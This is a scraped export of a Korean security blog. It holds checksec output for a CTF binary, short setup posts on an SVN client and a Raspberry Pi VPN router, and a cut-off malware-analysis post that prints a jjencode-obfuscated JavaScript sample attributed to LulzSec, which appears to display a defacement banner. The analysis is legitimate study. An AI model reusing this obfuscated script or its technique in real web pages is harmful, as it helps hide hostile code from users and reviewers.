tiny_easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size tester@ubuntu:~$ ./checksec.sh --file tiny_easy RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH tiny_easy 이 외에 PEDA에서 'checksec' 명령어로도 확인이 가능하다. https://github.com/longld/peda\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 tester@ubuntu:~$ gdb tiny_easy GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i686-linux-gnu\u0026#34;. Type \u0026#34;show configuration\u0026#34; for configuration details. For bug reporting instructions, please see: \u0026lt;http://www.gnu.org/software/gdb/bugs/\u0026gt;. Find the GDB manual and other documentation resources online at: \u0026lt;http://www.gnu.org/software/gdb/documentation/\u0026gt;. For help, type \u0026#34;help\u0026#34;. Type \u0026#34;apropos word\u0026#34; to search for commands related to \u0026#34;word\u0026#34;... Reading symbols from tiny_easy...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ ","date":"2016-01-25T12:19:05Z","permalink":"/2016/01/25/%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B3%B4%EC%95%88%EC%84%A4%EC%A0%95-%ED%99%95%EC%9D%B8/","title":"리눅스 바이너리 보안설정 확인"},{"content":"윈도에서 자주 사용하던 TortoiseSVN과 유사한 클라이언트를 찾다 발견한 RabbitVCS 설치법을 작성합니다.\n1 2 3 sudo add-apt-repository ppa:rabbitvcs/ppa sudo apt-get update sudo apt-get install rabbitvcs-nautilus3 UI는 아래 이미지를 참고하세요.\n출처 : http://aruizca.com/how-to-integrate-rabbitvcs-with-nautilus-file-manager-in-ubuntu-14-04-trusty-tahr/\n","date":"2015-01-06T04:54:52Z","permalink":"/2015/01/06/ubuntu%EC%9A%A9-svn-%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%84%A4%EC%B9%98/","title":"Ubuntu용 SVN 클라이언트 설치"},{"content":"라즈베리파이, 큐비보드 등을 이용해 VPN공유기를 개발하고자 한다.\n[VPN서버] \u0026lt;-\u0026gt; [라즈베리파이, 큐비보드] \u0026lt;-\u0026gt; [사용자]\n조건\n라즈베리파이, 큐비보드 등에서 VPN 연결이 끊길경우 일반 인터넷망으로 연결이 되어서는 안된다. (VPN 회신만 사용) 라즈베리파이, 큐비보드 등의 장비를 켜는것 만으로 동작이 되어야 한다. (사용자가 컴맹임을 감안) 유무선 중 가능한 것으로 이용한다. 참고자료 http://libsora.so/posts/raspberry-pi-hostapd/ http://jonghyunkim816.blogspot.kr/2013/10/raspberry-pi-3g-tethering-wifi.html\n","date":"2014-12-13T05:11:40Z","permalink":"/2014/12/13/vpn-%EA%B3%B5%EC%9C%A0%EA%B8%B0-%EA%B0%9C%EB%B0%9C/","title":"VPN 공유기 개발"},{"content":"개요 한동안 스크립트 분석을 하지 않다 최근 lulzsec이 한국에서 활동한다는 소식을 접하고 관련 샘플을 찾아서 분석을 해봤습니다. 이 샘플이 그 샘플이 맞는지는 모르겠으나 허접하게 작성되었네요 -_-;\n관련기사 : http://dailysecu.com/news_view.php?article_id=8208\njjencode 난독화 부분 우선 원본 코드 입니다. jjencode로 난독화 되어 있습니다.\n1 $=~[];$={___:++$,$$$$:(![]+\u0026#34;\u0026#34;)[$],__$:++$,$_$_:(![]+\u0026#34;\u0026#34;)[$],_$_:++$,$_$$:({}+\u0026#34;\u0026#34;)[$],$$_$:($[$]+\u0026#34;\u0026#34;)[$],_$$:++$,$$$_:(!\u0026#34;\u0026#34;+\u0026#34;\u0026#34;)[$],$__:++$,$_$:++$,$$__:({}+\u0026#34;\u0026#34;)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+\u0026#34;\u0026#34;)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+\u0026#34;\u0026#34;)[$.__$])+((!$)+\u0026#34;\u0026#34;)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!\u0026#34;\u0026#34;+\u0026#34;\u0026#34;)[$.__$])+($._=(!\u0026#34;\u0026#34;+\u0026#34;\u0026#34;)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!\u0026#34;\u0026#34;+\u0026#34;\u0026#34;)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+\u0026#34;\u0026#34;\u0026#34;+$.$_$_+(![]+\u0026#34;\u0026#34;)[$._$_]+$.$$$_+\u0026#34;\u0026#34;+$.__$+$.$$_+$._$_+$.__+\u0026#34;(\u0026#39;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;___\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;____\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;____\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;______/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\__//\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\__/_____\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;_/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\_/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;:\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;//_____\\\\\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;:\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;:\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;..\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;::\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;::\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;:|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\_____/\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;/_\\\\\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;____\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;______\u0026#34;+$.$__+$.___+\u0026#34;||\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\\\u0026#34;+$.__$+$.$_$+$.$$_+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;_-_\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;\\\\\u0026#34;+$.$__+$.___+\u0026#34;_-_-_\u0026#34;+$.$__+$.___+\u0026#34;/\u0026#34;+$.$__+$.___+\u0026#34;|\u0026#34;+$.$__+$.___+\u0026#34;______\u0026#34;+$.$__+$.___+\u0026#34;|/_/\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\u0026#34;+$.$__+$.___+\u0026#34;\\\\\\\u0026